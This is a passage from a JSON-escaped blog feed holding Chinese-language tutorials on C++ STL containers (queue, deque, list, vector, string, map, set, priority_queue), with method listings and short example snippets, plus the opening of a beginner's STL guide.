std;\u003c/code\u003e。为了简洁,后面的文章将省略这行,但是实际写代码不要忘记这行哦。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cstrong\u003e声明与定义\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003equeue\u0026lt;char\u0026gt; q; // 声明一个名字为 q,存储 char 的队列\u003c/code\u003e\u003c/pre\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003e注意:\u003c/strong\u003e以后的所有容器将默认为 \u003ccode\u003echar\u003c/code\u003e 类型,你可以根据实际情况进行改动,这里只是作为例子。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cstrong\u003e方法\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003eq.front(); // -\u0026gt; char 队首元素\nq.back(); // -\u0026gt; char 队尾元素\nq.push('a'); // -\u0026gt; void 向队尾添加元素:字符'a'\nq.pop(); // -\u0026gt; void 弹出队首元素\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e还有两个 C++11 新增方法,\u003ccode\u003eemplace\u003c/code\u003e 与 \u003ccode\u003eswap\u003c/code\u003e,可参考前篇文章对它们的简单介绍。\u003c/p\u003e\u003ch4 id=\"toc_281\"\u003e双端队列(deque)\u003c/h4\u003e\u003cp\u003e顾名思义,双端队列两头都可以进出,兼有栈和队列的特性。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e需要的头文件\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003e#include \u0026lt;deque\u0026gt;\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e声明与定义\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003edeque\u0026lt;char\u0026gt; q; // 声明一个名字为 q,存储 char 的双端队列\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e方法\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003eq.front(); // -\u0026gt; char 队首元素\nq.back(); // -\u0026gt; char 队尾元素\n// 以上部分和 queue 一样\nq.push_front('a'); // -\u0026gt; void 在队首插入元素:字符'a'\nq.pop_front(); // -\u0026gt; void 弹出队首元素\nq.push_back('a'); // -\u0026gt; void 在队尾插入元素:字符'a'\nq.pop_back(); // -\u0026gt; void 弹出队尾元素\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e更多方法参见 \u003ca href=\"https://www.cplusplus.com/reference/deque/deque/\"\u003ecplusplus.com\u003c/a\u003e。本文章只介绍常见的。\u003c/p\u003e\u003ch3 id=\"toc_282\"\u003e链表(list)\u003c/h3\u003e\u003cp\u003e经典数据结构——双向链表。可以 $O(1)$ 快速插入和和删除某个元素,$O(n)$ 遍历元素。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e需要的头文件\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003e#include \u0026lt;list\u0026gt;\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e声明与定义\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003elist\u0026lt;char\u0026gt; l; // 声明一个名字为 l,存储 char 的链表\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e方法\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003el.front(); // -\u0026gt; char 首位元素\nl.back(); // -\u0026gt; char 末尾元素\nl.push_front('a'); // -\u0026gt; void 在首位插入元素:字符'a'\nl.pop_front(); // -\u0026gt; void 弹出首元素\nl.push_back('a'); // -\u0026gt; void 在末尾插入元素:字符'a'\nl.pop_back(); // -\u0026gt; void 弹出尾元素\n// 以上部分和 deque 一样\n\nl.insert(l.begin(), 'a');\n// -\u0026gt; iterator 在指定位置(这里的例子是队首,其实是迭代器就行)插入字符'a',返回插入后元素的迭代器\nl.insert(l.begin(), 3, 'a'); // 插入 3 个'a'(次)\n\nl.erase(l.begin());\n// -\u0026gt; iterator 删除指定位置(这里的例子是队首,其实是迭代器就行)的元素,返回被删除元素下一个元素的迭代器\nl.erase(l.begin(), l.end()); // 删除指定区间的元素\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e更多方法参见 \u003ca href=\"https://www.cplusplus.com/reference/deque/deque/\"\u003ecplusplus\u003c/a\u003e。本文章只介绍常见的。\u003c/p\u003e\u003ch3 id=\"toc_283\"\u003e其他\u003c/h3\u003e\u003cp\u003e下面这些不常用,感兴趣的读者可自行搜索相关资料。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e数组(array)\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e和普通定长数组一样,没什么特别之处,不怎么常用。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e单向链表(forward list)\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e比起双向链表,唯一的优点也许只有内存占用小了吧。因为是单向,所以\u003cstrong\u003e不提供反向迭代器\u003c/strong\u003e。\u003c/p\u003e\u003ch2 id=\"toc_284\"\u003e有点意思的容器\u003c/h2\u003e\u003cp\u003e这里的容器都是看起来简单,却实际却又没那么简单的容器。\u003c/p\u003e\u003ch3 id=\"toc_285\"\u003e向量 / 动态数组(vector)\u003c/h3\u003e\u003cp\u003e动态数组,顾名思义,长度是动态的。可以像数组一样 $O(1)$ 下标访问,就像普通数组一样。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e需要的头文件\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003e#include \u0026lt;vector\u0026gt;\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e声明与定义\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003evector\u0026lt;char\u0026gt; v;\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e构造器\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e构造器是初始化一个容器时用的,它会在容器创建时自动执行。在声明时这样写即可使用构造器。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003e// 定义时,将指定区间拷贝到 v 中\nvector\u0026lt;char\u0026gt; v(l.begin(), l.end());\n// 如果用的是数组,可以像下面这样构造 vector\nint a[] = {11, 4, 51, 4};\nvector\u0026lt;int\u0026gt; v(a, a + 4);\n// 也可以指定初始化数目和变量,如下,定义一个含有 4 个字符'a'的 vector\nvector\u0026lt;char\u0026gt; v(4, 'a');\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e方法\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003ev.front(); // -\u0026gt; char 首位元素\nv.back(); // -\u0026gt; char 末尾元素\nv.push_back('a'); // -\u0026gt; void 在末尾插入元素:字符'a'\nv.pop_back(); // -\u0026gt; void 弹出尾元素\nv.insert(v.begin(), 'a'); // -\u0026gt; iterator 在指定位置插入字符'a',返回插入后元素的迭代器\nv.insert(v.begin(), 3, 'a'); // 插入 3 个(次)'a'\nv.erase(v.begin()); // -\u0026gt; iterator 删除指定位置的元素,返回被删除元素下一个元素的迭代器\nv.erase(v.begin(), v.end()); // 删除指定区间的元素\n// 以上部分和 list 一样\nv[1] // -\u0026gt; char 访问下标为 1 的元素\nv.at(1) // -\u0026gt; char 同上\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"toc_286\"\u003e字符串(string)\u003c/h3\u003e\u003cp\u003e功能强大的字符串类,字符串处理题好帮手。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e需要的头文件\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003e#include \u0026lt;string\u0026gt;\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e声明与定义\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003estring s;\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e构造器\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003estring s(\u0026quot;hanwan\u0026quot;); // 可以把 C 风格的字符数组作为构造器参数,让它变成 string\nstring s(3, 'a'); // 当然也能填充字符,定义一个含有 3 个'a'字符串\u0026quot;aaa\u0026quot;。\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e输入输出方式\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e使用 C++ 的输入输出流。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003e// 输入\ncin \u0026gt;\u0026gt; s; // 读入一个单词(遇到空格时结束输入)\ngetline(cin, s); // 读入整行(遇到换行符结束输入)\n// 输出\ncout \u0026lt;\u0026lt; s; // 不换行\ncout \u0026lt;\u0026lt; s \u0026lt;\u0026lt; endl; // 换行\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e方法\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e字符串提供的方法有太多了。这里分了几组。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e访问方法\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003es[1]; s.at(1); // -\u0026gt; char 访问下标为 1 的字符\n// 以上和 vector 一样\ns.length(); // -\u0026gt; size_t 字符串长度(等价于 s.size())\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e拼接方法\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003es += 'a'; s.push_back('a'); // -\u0026gt; string\u0026amp; 在 s 后面添加字符'a'\ns += \u0026quot;abc\u0026quot;; s.append(\u0026quot;abc\u0026quot;); // -\u0026gt; string\u0026amp; 在 s 后面添加字符串\u0026quot;abc\u0026quot;\ns = s1 + s2 // -\u0026gt; string 拼接 s1 和 s2\n// 可以说 += 和 + 是 string 最强大的运算了,解决了各种情况的拼接问题\ns1 == s2; // -\u0026gt; bool 直接比较两个字符串是否相同,这不比 strcmp 优雅?\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e此外,\u003ccode\u003estring\u003c/code\u003e 也可以按照字典序进行大小比较,直接用 \u003ccode\u003e\u0026lt;\u003c/code\u003e 或 \u003ccode\u003e\u0026gt;\u003c/code\u003e 比较即可。\u003c/p\u003e\u003cp\u003e在使用 \u003ccode\u003esort\u003c/code\u003e 排序 \u003ccode\u003estring\u003c/code\u003e 数组时,默认就是按照字典序从小到大排序了。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e增删\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003e// 也有 vector 风格的 insert 和 erase\ns.insert(2, 'a'); // -\u0026gt; string\u0026amp; 在下标为 2 的位置插入字符'a'\ns.erase(1, 2); // -\u0026gt; string\u0026amp; 从下标为 1 的位置开始,删除两个字符\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e转换\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003es.c_str(); // -\u0026gt; char* 返回 C 风格字符串,可以在需要 C 风格字符串时使用\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e查找\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003es.find('a', 0); // 可省略第二个参数,默认为 0\n// -\u0026gt; size_t 在字符串中从第 0 位开始查找字符'a',返回结果的下标。如果没找到就返回 string::npos\ns.find(\u0026quot;abc\u0026quot;, 0); // -\u0026gt; size_t 也能查找字符串,匹配上前几个字符就算找到了。返回第一个匹配字符的下标。\ns.rfind('a'); // 和 find 一样,不过是反向查找。\n\ns.find_first_of(\u0026quot;abc\u0026quot;, 0); // 可省略第二个参数,默认为 0\n// -\u0026gt; size_t 和 find 差不多,不过是只要字符串里有'a'或'b'或'c‘就算找到了。\ns.find_last_of(\u0026quot;abc\u0026quot;); // -\u0026gt; size_t 也可以反着找\n\ns.find_first_not_of(\u0026quot;abc\u0026quot;, 0); // 可省略第二个参数,默认为 0\n// -\u0026gt; size_t 和 find_first_of 反着来,字符串里没有'a'或'b'或'c‘就算找到了。\ns.find_last_not_of(\u0026quot;abc\u0026quot;); // -\u0026gt; size_t 也可以反着找\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e截取\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003es.substr(1, 3); // -\u0026gt; string 截取从下标 1 开始,长度为 3 的子字符串,返回截取的子字符串\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003eC++11 的转换方法\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003estoi(\u0026quot;2333\u0026quot;, nullptr, 10); // -\u0026gt; int 将字符串转换为整数,第三个参数为进制数,十进制可省略\nto_string(2333); // -\u0026gt; string 将数值转换为字符串\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e更多方法参见 \u003ca href=\"https://www.cplusplus.com/reference/string/\"\u003ecplusplus.com\u003c/a\u003e\u003c/p\u003e\u003ch3 id=\"toc_287\"\u003e其他\u003c/h3\u003e\u003cp\u003e\u003cstrong\u003e元组(tuple)\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e和数组差不多,就是没有固定类型,里面的可以同时存储不同类型的数据。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003e#include \u0026lt;tuple\u0026gt;\nusing namespace std;\nauto t = make_tuple(\u0026quot;xm\u0026quot;, 1, 'a'); // 赋值\nint n = get\u0026lt;1\u0026gt;(t); // -\u0026gt; 1 按下标访问\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"toc_288\"\u003e看起来很高级的容器\u003c/h2\u003e\u003cp\u003e这里的容器具有一定的特殊功能,自己手写可不好写哦。\u003c/p\u003e\u003ch3 id=\"toc_289\"\u003e优先队列(priority queue)\u003c/h3\u003e\u003cp\u003e优先队列会自动在插入时将元素排好顺序,即堆(heap)这种数据结构。默认顶部为最大的值,即大根堆。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e需要的头文件\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003e#include \u0026lt;queue\u0026gt; // 没错,还是队列那个头文件\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e声明与构造\u003c/strong\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e为方便起见,从这里开始声明和构造器就合一起了。\u003c/p\u003e\u003c/blockquote\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003epriority_queue\u0026lt;int\u0026gt; p; // 声明一个名为 p,存储 int 的优先队列,默认为大根堆,顶部为最大值\npriority_queue\u0026lt;int, vector\u0026lt;int\u0026gt;, greater\u0026lt;int\u0026gt; \u0026gt; p; // 小根堆的声明方法,顶部为最小值\n// 你也可以重载运算符 \u0026lt;,让优先队列按自己需要顺序排序\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e方法\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e只有通用的和下面的三个,不多。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003ep.push(2); // -\u0026gt; void 将整数 2 插入到优先队列\np.top(); // -\u0026gt; int 返回顶部的值\np.pop(); // -\u0026gt; void 弹出顶部元素\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"toc_290\"\u003e映射(map)\u003c/h3\u003e\u003cp\u003e了解过 Python 的同学应该都知道,Python 有字典(dict)这个类,可以通过一个键访问到对应的值。JavaScript 也有类似的类型:对象(object),其他语言或许有也哈希表(hash table)。\u003c/p\u003e\u003cp\u003e就拿 Python 举例来说,定义一个像这样表示三个人成绩的字典\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-python\"\u003egrades = {\n 'xiaoming': 89,\n 'lihua': 93,\n 'hanmeimei': 95\n}\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e如果想要根据人名获得对应的成绩,那只需要\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-python\"\u003exm_grade = grades['xiaoming'] # -\u0026gt; 89\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e只需要提供键(key):\u003ccode\u003e'xiaoming'\u003c/code\u003e,就能得到它对应的值(value):\u003ccode\u003e89\u003c/code\u003e。\u003c/p\u003e\u003cp\u003eSTL 的 map 容器提供的便是这种功能。map 有两种:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003emap\u003c/strong\u003e:底层实现是红黑树,是按照插入顺序严格有序的,因此访问也慢一些($O(\\log n)$)。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eunordered_map\u003c/strong\u003e:(C++11 才有的)底层实现是哈希表,无需,访问也更快($O(1)$)。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cstrong\u003e需要的头文件\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003e// 按需任选其一\n#include \u0026lt;map\u0026gt;\n#include \u0026lt;unordered_map\u0026gt; // C++11\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e声明与定义\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003e// 按需任选其一\nmap\u0026lt;string, int\u0026gt; grades; // 定义一个键为 string 型,值为 int 型的 map,名为 grades\nunordered_map\u0026lt;string, int\u0026gt; m;\u003c/code\u003e\u003c/pre\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003e注意:\u003c/strong\u003e由于这两种 map 基本用法都一样,所以下面都以 map 来举例。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cstrong\u003e遍历\u003c/strong\u003e\u003c/p\u003e\u003cp\u003emap 内部存储的元素类型是 pair。\u003c/p\u003e\u003cp\u003e像上面定义的例子,\u003ccode\u003egrades\u003c/code\u003e 里的元素是 \u003ccode\u003epair\u0026lt;string, int\u0026gt;\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e可以理解成,\u003ccode\u003egrades\u003c/code\u003e 里的元素的是这样的结构体:\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003estruct pair\n{\n string first;\n int second;\n}\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e如何遍历 map 呢?就像下面这样:\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003efor (map\u0026lt;string, int\u0026gt;::iterator it = grades.begin(); it != grades.end(); it++) {\n cout \u0026lt;\u0026lt; it-\u0026gt;first \u0026lt;\u0026lt; \u0026quot; =\u0026gt; \u0026quot; \u0026lt;\u0026lt; it-\u0026gt;second \u0026lt;\u0026lt; endl;\n}\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e方法\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003e// 还是上面那个例子,这次我们用 C++ 来写\n\n// 像这样可以添加映射\ngrades[\u0026quot;xiaoming\u0026quot;] = 89;\ngrades[\u0026quot;lihua\u0026quot;] = 93;\ngrades[\u0026quot;hanmeimei\u0026quot;] = 95;\n// 也可以像这样构造映射,直接赋值\ngrades = {\n {\u0026quot;xiaoming\u0026quot;, 89},\n {\u0026quot;lihua\u0026quot;, 93},\n {\u0026quot;hanmeimei\u0026quot;: 95}\n};\n\n// 像这样可以访问键对应的值\nint xm_grade = grades[\u0026quot;xiaoming\u0026quot;]; // -\u0026gt; 89\n\n// 支持经典的 insert 和 erase,也可以像下面这样用\ngrades.insert(pair\u0026lt;string, int\u0026gt;(\u0026quot;xiaomeng\u0026quot;, 100));\n// -\u0026gt; pair\u0026lt;iterator, bool\u0026gt; 相当于 grades[\u0026quot;xiaomeng\u0026quot;] = 100,但是它返回 pair\n// 其中,first 为插入元素(或已存在的相同键)的迭代器,second 为是否插入成功(如键已存在则插入不成功)\ngrades.erase(\u0026quot;xiaowang\u0026quot;); // -\u0026gt; size_t 删除键为\u0026quot;xiaowang\u0026quot;的映射记录\n\n// 查找方法\nmap\u0026lt;string, int\u0026gt;::iterator xm = grades.find(\u0026quot;xiaoming\u0026quot;); // 和下标访问不同的是,它返回的是一个迭代器\nxm-\u0026gt;first; // -\u0026gt; \u0026quot;xiaoming\u0026quot; 键\nxm-\u0026gt;second; // -\u0026gt; 89 值\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"toc_291\"\u003e集合(set)\u003c/h3\u003e\u003cp\u003e数学上的集合是不能出现重复值的,set 容器也是一样的。不过与数学上集合的无序性不同的是,set 容器内部是有序的(默认从小到大排序)。相对地还有个 unordered_set(C++11 才有的),它是无序的,因此速度也比有序的 set 更快。之前也写过\u003ca href=\"/archives/339/\"\u003e关于它的文章\u003c/a\u003e。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e需要的头文件\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003e// 按需任选其一\n#include \u0026lt;set\u0026gt;\n#include \u0026lt;unordered_set\u0026gt; // C++11\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e声明与定义\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003eset\u0026lt;int\u0026gt; s; // 定义一个名为 s,存储 int 的集合\nunordered_set\u0026lt;int\u0026gt; s1;\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e构造器\u003c/strong\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e为方便起见,下面都以 set 为例。\u003c/p\u003e\u003c/blockquote\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003eint a[] = {19, 19, 8, 10};\nset\u0026lt;int\u0026gt; s(a, a + 4); // 构造一个集合 {8, 10, 19}\nset\u0026lt;int, greater\u0026lt;int\u0026gt; \u0026gt; s; // 第二个参数可以自定义比较器,这个例子 s 内部从大到小排序\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e方法\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003es.insert(8); // -\u0026gt; pair\u0026lt;iterator, bool\u0026gt; 插入单个元素\n// 返回的 pair,first 为插入值(或已存在的相同值)的迭代器,second 为是否插入成功(如已存在则插入不成功)\ns.erase(19); // -\u0026gt; void 删除指定元素\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"toc_292\"\u003e其他\u003c/h3\u003e\u003cp\u003e\u003cstrong\u003emultiset\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e允许有重复值的集合,跟优先队列很像,不知道有什么用呢。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003ebitset\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e说是集合,却没有集合的特性,就当它是个存储位(bit)的数组吧。每一个元素都是一位,支持位运算。\u003c/p\u003e\u003cp\u003e比起 \u003ccode\u003ebool\u003c/code\u003e 数组来说,这东西更省空间,要对位进行精确操作可以用它。之前写过\u003ca href=\"/archives/520/\"\u003e关于它的文章\u003c/a\u003e。\u003c/p\u003e\u003ch2 id=\"toc_293\"\u003e太长不看版\u003c/h2\u003e\u003cp\u003e文章太长了一头雾水?STL 容器看起来很多,但其内核都是相通的。\u003c/p\u003e\u003cp\u003e现代编辑器都拥有完善的代码补全,所以你不用担心方法名能不能记住,你只需要知道这些方法是做什么的就可以了,以及,以上容器的拼写。\u003c/p\u003e\u003cp\u003e这里再列下它们的名字吧。\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e中英文名字\u003c/th\u003e\u003cth\u003e头文件\u003c/th\u003e\u003cth\u003e作用\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e栈(stack)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003estack\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e先进后出\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e队列(queue)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003equeue\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e先进先出\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e双端队列(deque)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003edeque\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e兼有栈和队列特性\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e链表(list)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003elist\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e双向链表\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e向量(vector)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003evector\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e动态数组\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e字符串(string)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003estring\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e比 \u003ccode\u003echar*\u003c/code\u003e 更好用的字符串\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e优先队列(priority_queue)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003equeue\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e堆,内部有序\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e映射(map)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003emap\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e构造键到值的映射\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e集合(set)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eset\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e不允许重复值,内部有序\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e如果想看详细用法就点击目录吧。注意,要先看通用方法哦。\u003cbr\u003e \u003cstrong\u003e参考资料:\u003c/strong\u003e\u003ca href=\"https://www.cplusplus.com/reference/stl/\"\u003ecplusplus.com\u003c/a\u003e\u003c/p\u003e\n","url":"https://hawa130.com/archives/763/"},{"title":"STL 入门指南 — 数据结构作业\u0026amp;考试利器","time":"2022-02-19T15:37:00Z","content":"充分利用 C++ 的 STL,可以让你做编程题事半功倍。前言STL(Standard Template Library,标准模板库) 对我这种经常用 C++ 的人来说是个很熟悉的东西了,毕竟它也...\u003chr /\u003e\n\u003cp\u003e充分利用 C++ 的 STL,可以让你做编程题事半功倍。\u003c/p\u003e\u003ch2 id=\"toc_294\"\u003e前言\u003c/h2\u003e\u003cp\u003eSTL(Standard Template Library,标准模板库) 对我这种经常用 C++ 的人来说是个很熟悉的东西了,毕竟它也是陪伴我 OI 生涯的老熟人了。不过,对于刚接触编程还是在大一的 C 语言课的同学来说,C++ 是似乎个遥不可及的东西;至于 C++ 的库?那就是个更遥远的东西了。可能新人对学习 STL 有着畏惧的心理,但是别担心,这种工具只是为了程序员的方便而创造出来的,它只会便利你。\u003c/p\u003e\u003cp\u003e本文将以简单的方式带你入门 STL,领略 STL 的强大之处。要注意这只是一篇用于入门的文章,不是参考手册。如果你有一定的 STL 基础,想要了解更多容器的用法,请看\u003ca href=\"/archives/763/\"\u003e下篇\u003c/a\u003e。\u003c/p\u003e\u003ch2 id=\"toc_295\"\u003e容器的引入\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e「栈」的引入。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e假如你正在做「括号匹配判断」这道题,需要用到「栈」这个数据结构。于是你手写了几个栈相关的函数,定义了几个变量来存储栈。就像下面这样。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003echar stack[100];\nint pos = 0;\n\nvoid push(char x) { stack[++pos] = x; } // 入栈\n\nvoid pop() { pos--; } // 出栈\n\nchar top() { return stack[pos]; } // 栈顶\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e看似这样也很简单?那如果这道题需要两个「栈」结构呢,你会怎么写?也许是直接复制一份现有的代码,或者是给函数增加参数,把指定的 \u003ccode\u003estack\u003c/code\u003e 及其 \u003ccode\u003epos\u003c/code\u003e 传入。然而这样一份代码就难以复用了。而且当你做到新的题目,又要用到「栈」这个数据结构,还要再复制一遍,并根据题目情况修改变量名以及新增一些函数,十分麻烦。\u003c/p\u003e\u003cp\u003e这时候,STL 的作用便体现出来了。STL 有许多的容器(Container),栈(\u003ccode\u003estack\u003c/code\u003e)也是其中的一种。更多的容器我们后面再来解释。\u003c/p\u003e\u003cp\u003e如何使用 STL 中的栈呢?\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003e#include \u0026lt;stack\u0026gt; // 引入「栈」头文件\n\nusing namespace std; // 使用 std 命名空间(STL 都在这个命名空间里)\n\nstack\u0026lt;char\u0026gt; st; // 定义一个栈,存储字符(char)类型,名为 st\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e这样你便定义了一个 STL 里的栈。那么如何调用它的功能呢?只需要在这个栈后面输入 \u003ccode\u003e.\u003c/code\u003e(与访问结构体里的变量一致),就能输入函数名调用它提供的方法(Method)了。并且,在有代码补全的编辑器(比如 VS 